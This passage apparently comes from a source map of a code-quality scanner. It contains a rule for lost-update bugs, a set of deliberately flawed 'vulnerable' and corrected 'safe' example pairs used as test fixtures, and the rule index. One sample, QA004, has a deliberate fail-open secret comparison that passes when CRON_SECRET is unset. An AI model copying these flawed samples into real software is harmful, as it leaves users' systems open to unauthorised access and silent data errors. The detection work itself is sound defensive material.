a real denominator. It ships so it can be run against a corpus that contains counters. The narrowing, for when it is: the column must be on a short money/inventory allowlist, because a denormalised comment_count reconciled nightly loses an update and nobody cares, and only money and inventory make the consequence sentence true; the read local must be a DIRECT operand of `+`/`-`, so an idempotent absolute assignment computed from a plan table is not reported; exonerate on any atomic or serialised form (ORM increment/decrement, SQL arithmetic, .rpc(, a transaction, an explicit lock, FOR UPDATE, an optimistic version predicate); exonerate when the db handle is a PARAMETER of the enclosing function, because the caller opened the transaction; exonerate a read that is a RETURNING from an INSERT in the same function, since the row was created here; and skip cron and job paths, which have one invocation and no concurrent writer. Capped at one finding per file and three per scan, the volume discipline QA006 already uses.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (hits.length >= MAX_PER_SCAN) break;\n if (file.excluded) continue;\n if (!file.isServer) continue;\n if (SCHEDULED_PATH.test(file.path)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n let firedInFile = false;\n\n traverse(parsed.ast, {\n BinaryExpression(path) {\n if (firedInFile || hits.length >= MAX_PER_SCAN) return;\n const op = path.node.operator;\n if (op !== \"+\" && op !== \"-\") return;\n\n // One side must be `local.credits` — a DIRECT operand, so an\n // absolute assignment that merely mentions the value is not this.\n const left = path.node.left as Node;\n const right = path.node.right as Node;\n const column = memberColumn(left) ?? memberColumn(right);\n if (!column) return;\n const readLocal = rootObject(memberColumn(left) ? left : right);\n if (!readLocal) return;\n\n const fn = path.getFunctionParent();\n if (!fn) return;\n const fnSource = file.code.slice(nodeStart(fn.node), nodeEnd(fn.node));\n\n // The arithmetic has to be going INTO a write.\n if (!WRITE_CALL.test(fnSource)) return;\n\n // Any atomic or serialised form in the enclosing function OR ANY\n // FUNCTION ABOVE IT. The ancestors matter: both of the idioms that\n // serialise this — `lock.acquire(key, async () => { … })` and\n // `db.transaction(async (tx) => { … })` — put the arithmetic inside\n // a callback, so the nearest function parent is that callback and\n // cannot see the thing that makes the code correct. An earlier draft\n // checked only the nearest function and reported the locked version.\n let serialised = false;\n for (\n let scope: NodePath<BabelFunction> | null = fn;\n scope !== null && !serialised;\n scope = scope.getFunctionParent()\n ) {\n const src = file.code.slice(nodeStart(scope.node), nodeEnd(scope.node));\n if (ATOMIC_OR_SERIALISED.test(src)) serialised = true;\n }\n if (serialised) return;\n // The row was created here, so nobody else has it yet.\n if (INSERT_RETURNING.test(fnSource)) return;\n // The caller owns the transaction.\n if (handleIsParameter(fn, fnSource)) return;\n // The local has to come from a read, not from the request body.\n if (!new RegExp(`\\\\b(?:const|let|var)\\\\s+(?:\\\\{[^}]*\\\\}|${readLocal})\\\\s*=\\\\s*await\\\\b`).test(fnSource)) return;\n\n firedInFile = true;\n hits.push({\n file: file.path,\n line: lineAt(file.content, nodeStart(path.node)),\n detail: `\\`${readLocal}.${column}\\` is read, changed here, and written back, so two requests that arrive together both start from the same value and one of the two changes is lost. Let the database do the arithmetic instead.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Does the enclosing function take its database handle as a parameter?\n *\n * `export async function spend(tx, uid, n)` is called inside a transaction the\n * caller opened, and that transaction is the serialisation. Structural, single\n * file, and not a naming convention.\n */\nfunction handleIsParameter(fn: NodePath<BabelFunction>, source: string): boolean {\n const params = fn.node.params;\n for (const p of params) {\n if (p.type !== \"Identifier\") continue;\n if (/^(?:tx|trx|db|conn|client|transaction)$/i.test(p.name)) return true;\n // A parameter actually used as a query handle in this function.\n if (new RegExp(`\\\\b${p.name}\\\\s*\\\\.\\\\s*(?:execute|run|query|update|insert)\\\\s*\\\\(`).test(source)) {\n return true;\n }\n }\n return false;\n}\n","/**\n * Worked examples for the quality catalogue, one vulnerable/safe pair per rule.\n *\n * These are published on xploitscan.com/quality/<id>, which is the reason they\n * are here and not in the web package: `quality.test.ts` runs every one of them\n * through the real scanner and asserts that the vulnerable sample fires its own\n * rule and the safe sample does not. A page that shows a reader \"this is what\n * we catch\" has to be right, and the only way to keep it right through a year\n * of rule edits is to make a wrong example fail the build.\n *\n * Writing them this way also found things. QA002's first draft ended in\n * `setRevoked(true)`, which is not a success assertion the rule recognises, so\n * the \"vulnerable\" sample was quietly correct code. QA004's used a bare\n * comparison rather than an interpolated secret, and QA005's had no click\n * affordance. All three would have shipped as documentation of behaviour the\n * scanner does not have.\n */\nexport interface QualityExample {\n /** Path the sample is scanned at — several rules gate on the path shape. */\n path: string;\n language: string;\n /** Fires the rule. */\n vulnerable: string;\n /** The same code, corrected. Must NOT fire the rule. */\n safe: string;\n /** What changed between them, in one sentence. */\n difference: string;\n}\n\nexport const QUALITY_EXAMPLES: Record<string, QualityExample> = {\n QA001: {\n path: \"supabase/functions/list-items/index.ts\",\n language: \"typescript\",\n difference:\n \"The catch answers with 500 and an error instead of 200 and an empty list, so the caller can tell a broken query from an account with no items.\",\n vulnerable: `Deno.serve(async (req) => {\n try {\n const { data } = await supabase.from(\"items\").select(\"*\");\n return new Response(JSON.stringify({ items: data }), { status: 200 });\n } catch (err) {\n console.error(err);\n return new Response(JSON.stringify({ items: [] }), { status: 200 });\n }\n});`,\n safe: `Deno.serve(async (req) => {\n try {\n const { data } = await supabase.from(\"items\").select(\"*\");\n return new Response(JSON.stringify({ items: data }), { status: 200 });\n } catch (err) {\n console.error(err);\n return new Response(JSON.stringify({ error: \"Could not load items\" }), { status: 500 });\n }\n});`,\n },\n\n QA009: {\n path: \"app/settings/ApiKeysSection.tsx\",\n language: \"tsx\",\n difference:\n \"The loader checks the response and sets an error the page can render, so a failed read no longer looks like an account with no keys.\",\n vulnerable: `\"use client\";\n\nexport function ApiKeysSection() {\n const [keys, setKeys] = useState([]);\n\n const load = async () => {\n try {\n const res = await fetch(\"/api/api-keys\");\n const data = await res.json();\n setKeys(data.keys || []);\n } catch {\n /* ignore */\n }\n };\n\n useEffect(() => { load(); }, []);\n}`,\n safe: `\"use client\";\n\nexport function ApiKeysSection() {\n const [keys, setKeys] = useState([]);\n const [loadError, setLoadError] = useState(null);\n\n const load = async () => {\n const res = await fetch(\"/api/api-keys\");\n if (!res.ok) {\n setLoadError(\"Could not load your API keys. Try again.\");\n return;\n }\n const data = await res.json();\n setKeys(data.keys ?? []);\n };\n\n useEffect(() => { load(); }, []);\n}`,\n },\n\n QA010: {\n path: \"app/checklist/page.tsx\",\n language: \"tsx\",\n difference:\n \"The arming flag is set on the success path only and the failure is recorded separately, so a load that threw leaves autosave disarmed and the saved state untouched.\",\n vulnerable: `\"use client\";\n\nexport function Checklist() {\n const [overrides, setOverrides] = useState({});\n const [stateLoaded, setStateLoaded] = useState(false);\n\n useEffect(() => {\n (async () => {\n try {\n const res = await fetch(\"/api/checklist\");\n const data = await res.json();\n if (data.state) setOverrides(data.state.overrides);\n } catch {\n // Non-critical\n } finally {\n setStateLoaded(true);\n }\n })();\n }, []);\n\n const saveState = useCallback(() => {\n fetch(\"/api/checklist\", { method: \"POST\", body: JSON.stringify({ overrides }) });\n }, [overrides]);\n\n useEffect(() => {\n if (stateLoaded) saveState();\n }, [overrides, stateLoaded, saveState]);\n}`,\n safe: `\"use client\";\n\nexport function Checklist() {\n const [overrides, setOverrides] = useState({});\n const [stateLoaded, setStateLoaded] = useState(false);\n const [stateLoadFailed, setStateLoadFailed] = useState(false);\n\n useEffect(() => {\n (async () => {\n try {\n const res = await fetch(\"/api/checklist\");\n if (!res.ok) throw new Error(\\`checklist load failed: HTTP \\${res.status}\\`);\n const data = await res.json();\n if (data.state) setOverrides(data.state.overrides);\n setStateLoaded(true);\n } catch {\n setStateLoadFailed(true);\n }\n })();\n }, []);\n\n const saveState = useCallback(() => {\n fetch(\"/api/checklist\", { method: \"POST\", body: JSON.stringify({ overrides }) });\n }, [overrides]);\n\n useEffect(() => {\n if (stateLoaded && !stateLoadFailed) saveState();\n }, [overrides, stateLoaded, stateLoadFailed, saveState]);\n}`,\n },\n\n QA011: {\n path: \"app/api/scans/route.ts\",\n language: \"typescript\",\n difference:\n \"The skipped path answers 503 with an error instead of the success payload, so the caller can tell the scan was not stored — and retry.\",\n vulnerable: `export async function POST(request: Request) {\n const body = await request.json();\n const id = \\`scan_\\${Date.now()}\\`;\n\n const db = getDb();\n if (!db) {\n // No database configured — return success anyway\n return NextResponse.json({ scan: { id } });\n }\n\n await db.execute({\n sql: \"INSERT INTO scans (id, findings_json) VALUES (?, ?)\",\n args: [id, JSON.stringify(body.findings)],\n });\n\n return NextResponse.json({ scan: { id } });\n}`,\n safe: `export async function POST(request: Request) {\n const body = await request.json();\n const id = \\`scan_\\${Date.now()}\\`;\n\n const db = getDb();\n if (!db) {\n return NextResponse.json(\n { error: \"Scan storage is not configured — this scan was not saved.\" },\n { status: 503 },\n );\n }\n\n await db.execute({\n sql: \"INSERT INTO scans (id, findings_json) VALUES (?, ?)\",\n args: [id, JSON.stringify(body.findings)],\n });\n\n return NextResponse.json({ scan: { id } });\n}`,\n },\n\n QA012: {\n path: \"app/panel/ScanPanel.tsx\",\n language: \"tsx\",\n difference:\n \"The effect returns a cleanup that flips `cancelled`, so React disarms the in-flight request before re-running — a response for the previous selection can no longer land last and win.\",\n vulnerable: `\"use client\";\n\nexport function ScanPanel() {\n const [projectId, setProjectId] = useState(\"latest\");\n const [scan, setScan] = useState(null);\n\n useEffect(() => {\n fetch(\\`/api/scans/\\${projectId}\\`)\n .then((r) => r.json())\n .then((d) => setScan(d.scan));\n }, [projectId]);\n\n return (\n <select value={projectId} onChange={(e) => setProjectId(e.target.value)}>\n {/* … */}\n </select>\n );\n}`,\n safe: `\"use client\";\n\nexport function ScanPanel() {\n const [projectId, setProjectId] = useState(\"latest\");\n const [scan, setScan] = useState(null);\n\n useEffect(() => {\n let cancelled = false;\n fetch(\\`/api/scans/\\${projectId}\\`)\n .then((r) => r.json())\n .then((d) => {\n if (!cancelled) setScan(d.scan);\n });\n return () => {\n cancelled = true;\n };\n }, [projectId]);\n\n return (\n <select value={projectId} onChange={(e) => setProjectId(e.target.value)}>\n {/* … */}\n </select>\n );\n}`,\n },\n\n QA002: {\n path: \"app/settings/ApiKeyRow.tsx\",\n language: \"tsx\",\n difference:\n \"The failure branch tells the user instead of returning silently, so a revoke that did not happen cannot show as one that did.\",\n vulnerable: `\"use client\";\nimport { toast } from \"sonner\";\n\nexport function ApiKeyRow({ keyId }) {\n async function handleRevoke() {\n const res = await fetch(\\`/api/keys/\\${keyId}/revoke\\`, { method: \"POST\" });\n if (!res.ok) return;\n toast.success(\"API key revoked\");\n }\n\n return <button onClick={handleRevoke}>Revoke</button>;\n}`,\n safe: `\"use client\";\nimport { toast } from \"sonner\";\n\nexport function ApiKeyRow({ keyId }) {\n async function handleRevoke() {\n const res = await fetch(\\`/api/keys/\\${keyId}/revoke\\`, { method: \"POST\" });\n if (!res.ok) {\n toast.error(\"Could not revoke the key. Try again.\");\n return;\n }\n toast.success(\"API key revoked\");\n }\n\n return <button onClick={handleRevoke}>Revoke</button>;\n}`,\n },\n\n QA003: {\n path: \"app/api/billing/webhook/route.ts\",\n language: \"typescript\",\n difference:\n \"The catch rethrows, so the row is not left saying a credit was issued that never left Stripe — and the webhook is redelivered.\",\n vulnerable: `export async function POST(req) {\n const referral = await db.get(\"SELECT id FROM referrals WHERE status = 'pending' LIMIT 1\");\n await db.run(\"UPDATE referrals SET status = 'rewarded' WHERE id = ?\", referral.id);\n try {\n await stripe.customers.createBalanceTransaction(customerId, { amount: -1000, currency: \"usd\" });\n } catch (err) {\n logError(\"credit failed\", err);\n }\n return new Response(JSON.stringify({ ok: true }), { status: 200 });\n}`,\n safe: `export async function POST(req) {\n const referral = await db.get(\"SELECT id FROM referrals WHERE status = 'pending' LIMIT 1\");\n await db.run(\"UPDATE referrals SET status = 'rewarded' WHERE id = ?\", referral.id);\n try {\n await stripe.customers.createBalanceTransaction(customerId, { amount: -1000, currency: \"usd\" });\n } catch (err) {\n logError(\"credit failed\", err);\n throw err;\n }\n return new Response(JSON.stringify({ ok: true }), { status: 200 });\n}`,\n },\n\n QA004: {\n path: \"app/api/cron/cleanup/route.ts\",\n language: \"typescript\",\n difference:\n \"The secret is read once and the handler refuses to run without it, so an unset variable can no longer make the comparison succeed against \\\"Bearer undefined\\\".\",\n vulnerable: `export async function GET(req) {\n const auth = req.headers.get(\"authorization\");\n if (auth !== \\`Bearer \\${process.env.CRON_SECRET}\\`) {\n return new Response(\"Unauthorized\", { status: 401 });\n }\n await purgeExpiredRows();\n return new Response(\"ok\");\n}`,\n safe: `export async function GET(req) {\n const secret = process.env.CRON_SECRET;\n if (!secret) throw new Error(\"CRON_SECRET is not set\");\n const auth = req.headers.get(\"authorization\");\n if (auth !== \\`Bearer \\${secret}\\`) {\n return new Response(\"Unauthorized\", { status: 401 });\n }\n await purgeExpiredRows();\n return new Response(\"ok\");\n}`,\n },\n\n QA005: {\n path: \"app/components/SortableTable.tsx\",\n language: \"tsx\",\n difference:\n \"The handler moves onto a real button, which the browser makes focusable, Enter- and Space-activatable, and announces as a control.\",\n vulnerable: `export function SortableTable({ rows, onSort }) {\n return (\n <table>\n <thead>\n <tr>\n <th className=\"cursor-pointer select-none\" onClick={() => onSort(\"name\")}>\n Name\n </th>\n </tr>\n </thead>\n </table>\n );\n}`,\n safe: `export function SortableTable({ rows, onSort }) {\n return (\n <table>\n <thead>\n <tr>\n <th>\n <button type=\"button\" className=\"cursor-pointer select-none\" onClick={() => onSort(\"name\")}>\n Name\n </button>\n </th>\n </tr>\n </thead>\n </table>\n );\n}`,\n },\n\n QA006: {\n path: \"app/components/ConfirmDialog.tsx\",\n language: \"tsx\",\n difference:\n \"The panel declares itself a modal dialog, takes focus when it opens and closes on Escape, so a screen reader announces it and a keyboard can reach and leave it.\",\n vulnerable: `export function ConfirmDialog({ open, onClose, onConfirm }) {\n if (!open) return null;\n return (\n <div className=\"fixed inset-0 bg-black/50 flex items-center justify-center\">\n <div className=\"bg-white rounded-xl p-6\">\n <h2>Delete this project?</h2>\n <button onClick={onClose}>Cancel</button>\n <button onClick={onConfirm}>Delete</button>\n </div>\n </div>\n );\n}`,\n safe: `export function ConfirmDialog({ open, onClose, onConfirm }) {\n const ref = useRef(null);\n useEffect(() => {\n if (!open) return;\n ref.current?.focus();\n const onKey = (e) => { if (e.key === \"Escape\") onClose(); };\n document.addEventListener(\"keydown\", onKey);\n return () => document.removeEventListener(\"keydown\", onKey);\n }, [open, onClose]);\n\n if (!open) return null;\n return (\n <div className=\"fixed inset-0 bg-black/50 flex items-center justify-center\">\n <div\n role=\"dialog\"\n aria-modal=\"true\"\n aria-labelledby=\"confirm-title\"\n ref={ref}\n tabIndex={-1}\n className=\"bg-white rounded-xl p-6\"\n >\n <h2 id=\"confirm-title\">Delete this project?</h2>\n <button onClick={onClose}>Cancel</button>\n <button onClick={onConfirm}>Delete</button>\n </div>\n </div>\n );\n}`,\n },\n\n QA007: {\n path: \"app/api/orders/route.ts\",\n language: \"typescript\",\n difference:\n \"The query takes a bounded page, so one account with years of history cannot decide how much memory the request uses.\",\n vulnerable: `export async function GET(req) {\n const userId = await requireUser(req);\n const orders = await prisma.order.findMany({ where: { userId } });\n return Response.json({ orders });\n}`,\n safe: `export async function GET(req) {\n const userId = await requireUser(req);\n const orders = await prisma.order.findMany({ where: { userId }, take: 50 });\n return Response.json({ orders });\n}`,\n },\n\n QA008: {\n path: \"app/components/SignupForm.tsx\",\n language: \"tsx\",\n difference:\n \"The label points at the input, so a screen reader reads the field's name and clicking the text focuses the field.\",\n vulnerable: `export function SignupForm() {\n return (\n <form>\n <label>Email address</label>\n <input type=\"email\" name=\"email\" />\n </form>\n );\n}`,\n safe: `export function SignupForm() {\n return (\n <form>\n <label htmlFor=\"email\">Email address</label>\n <input id=\"email\" type=\"email\" name=\"email\" />\n </form>\n );\n}`,\n },\n};\n","import type { Finding } from \"../types.js\";\nimport { getSnippet } from \"../snippet.js\";\nimport { buildQualityContext } from \"./context.js\";\nimport type { QualityRule, QualityContext } from \"./types.js\";\nimport { silentFailedRead } from \"./rules/silent-failed-read.js\";\nimport { silentFailedWrite } from \"./rules/silent-failed-write.js\";\nimport { stateBeforeEffect } from \"./rules/state-before-effect.js\";\nimport { failOpenSecretComparison } from \"./rules/fail-open-secret-comparison.js\";\nimport { mouseOnlyControl } from \"./rules/mouse-only-control.js\";\nimport { undeclaredModal } from \"./rules/undeclared-modal.js\";\nimport { unboundedList } from \"./rules/unbounded-list.js\";\nimport { unassociatedLabel } from \"./rules/unassociated-label.js\";\nimport { failedReadEmptyState } from \"./rules/failed-read-empty-state.js\";\nimport { autosaveArmedByFailedLoad } from \"./rules/autosave-armed-by-failed-load.js\";\nimport { configSkippedWork } from \"./rules/config-skipped-work.js\";\nimport { staleResponseWins } from \"./rules/stale-response-wins.js\";\nimport { lostUpdateCounter } from \"./rules/lost-update-counter.js\";\n\nexport type { QualityRule, QualityHit, QualityContext, QualityFile } from \"./types.js\";\nexport { buildQualityContext, lineAt, isClientTarget, isServerTarget } from \"./context.js\";\nexport { QUALITY_EXAMPLES, type QualityExample } from \"./examples.js\";\n\n/**\n * The quality catalogue.\n *\n * Deliberately NOT merged into `allCustomRules`: that number is quoted in\n * pricing copy, the README, the Docker image and the freshness ledger, and it\n * means \"security rules\". These answer a different question and are counted\n * separately.\n */\nexport const qualityRules: QualityRule[] = [\n silentFailedRead,\n silentFailedWrite,\n stateBeforeEffect,\n failOpenSecretComparison,\n mouseOnlyControl,\n undeclaredModal,\n unboundedList,\n unassociatedLabel,\n failedReadEmptyState,\n autosaveArmedByFailedLoad,\n configSkippedWork,\n staleResponseWins,\n];\n\n/**\n * Rules that are written and tested but NOT run by default.\n *\n * `qualityRules` above is a claim about precision: every rule in it was\n * measured against a corpus that contained the thing it looks for, and the\n * numbers are in NARROWINGS.md. A rule whose false-positive rate is unmeasured\n * has not earned that claim, and putting it in the default set would quietly\n * spend the catalogue's credibility on an unknown.\n *\n * So they live here instead, exported so they can be run deliberately —\n * `scanQuality(files, [...qualityRules, ...unmeasuredQualityRules])` — against\n * a corpus that can actually produce a denominator. Moving one up is a\n * measurement, not a decision.\n */\nexport const unmeasuredQualityRules: QualityRule[] = [\n lostUpdateCounter,\n];\n\n/**\n * Run the quality catalogue over a whole file set.\n *\n * Parallel to scanEntropy and scanDependencies: an engine, not a rule, because\n * most of these need more than the single file the rule contract allows.\n */\nexport function scanQuality(\n /**\n * The files to scan, or a context already built for them. Building one\n * parses every file into a Babel AST and holds them all at once, so a caller\n * that needs the context for its own reasons — the measurement harness counts\n * how many files each rule class applies to — should hand it over rather than\n * pay for a second one. Taking either here, instead of a third parameter,\n * means there is no pair of arguments that can disagree.\n */\n input: { path: string; content: string }[] | QualityContext,\n rules: QualityRule[] = qualityRules,\n): Finding[] {\n const ctx = Array.isArray(input) ? buildQualityContext(input) : input;\n const findings: Finding[] = [];\n\n for (const rule of rules) {\n let hits;\n try {\n hits = rule.check(ctx);\n } catch {\n // One rule throwing must never cost the scan its other findings. A\n // quality rule is an addition to a security scan, not a gate on it.\n continue;\n }\n for (const hit of hits) {\n const file = ctx.byPath.get(hit.file);\n findings.push({\n id: `${rule.id}-${hit.file}:${hit.line}`,\n rule: rule.id,\n severity: rule.severity,\n // Every rule here shipped only with a narrowing that survived an\n // adversarial review, but none of them is a proof. \"high\" would put\n // them beside confirmed secrets.\n confidence: \"medium\",\n title: rule.title,\n description: hit.detail ?? rule.description,\n file: hit.file,\n line: hit.line,\n snippet: file ? getSnippet(file.content, hit.line) : \"\",\n fix: rule.fix,\n category: rule.category,\n source: \"custom\",\n });\n }\n }\n return findings;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AI,IAAI,IAAI;AAAA,QACtC,MAAM,KAAK;AAAA,QACX,UAAU,KAAK;AAAA;AAAA;AAAA;AAAA,QAIf,YAAY;AAAA,QACZ,OAAO,KAAK;AAAA,QACZ,aAAa,IAAI,UAAU,KAAK;AAAA,QAChC,MAAM,IAAI;AAAA,QACV,MAAM,IAAI;AAAA,QACV,SAAS,OAAO,WAAW,KAAK,SAAS,IAAI,IAAI,IAAI;AAAA,QACrD,KAAK,KAAK;AAAA,QACV,UAAU,KAAK;AAAA,QACf,QAAQ;AAAA,MACV,CAAC;AAAA,IACH;AAAA,EACF;AACA,SAAO;AACT;","names":["route","isTainted","_traverse","traverse","m","getSnippet","_traverse","traverse","_traverse","splitTopLevel","calleeName","FOCUSABLE_TAGS","walkNodes","tagName","attributeName","findAttribute","FUNCTION_TYPES","walkNodes","tagName","isNativeTag","attributeName","_traverse","calleeName","traverse","_traverse","_traverse","traverse","_traverse","isEffectCall","_traverse","traverse","_traverse","calleeName","_traverse","traverse","_traverse","SETTER","calleeIdentifier","isEffectCall","ident","_traverse","traverse","_traverse","MAX_PER_SCAN"]}
|